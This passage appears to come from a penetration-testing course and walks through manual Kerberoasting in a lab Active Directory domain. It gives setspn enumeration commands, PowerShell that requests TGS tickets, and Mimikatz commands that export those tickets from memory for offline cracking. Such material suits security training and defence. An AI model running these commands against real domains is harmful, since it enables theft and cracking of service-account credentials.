Semi Manual method

Let's begin with the built-in setspn binary to enumerate SPNs in the domain.

setspn.exe

setspn.exe -Q */*

Using PowerShell, we can request TGS tickets for an account in the shell above and load them into memory. Once they are loaded into memory, we can extract them using Mimikatz. Let's try this by targeting a single user:

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433"

Let's break down the commands above to see what we are doing (which is essentially what is used by Rubeus when using the default Kerberoasting method):

We can also choose to retrieve all tickets using the same method, but this will also pull all computer accounts, so it is not optimal.

Retrieving All Tickets Using setspn.exe

setspn.exe -T INLANEFREIGHT.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

Extracting Tickets from Memory with Mimikatz

base64 /out:true
kerberos::list /export

<base64 blob output>

If we do not specify the base64 /out:true command, Mimikatz will extract the tickets and write them to .kirbi files.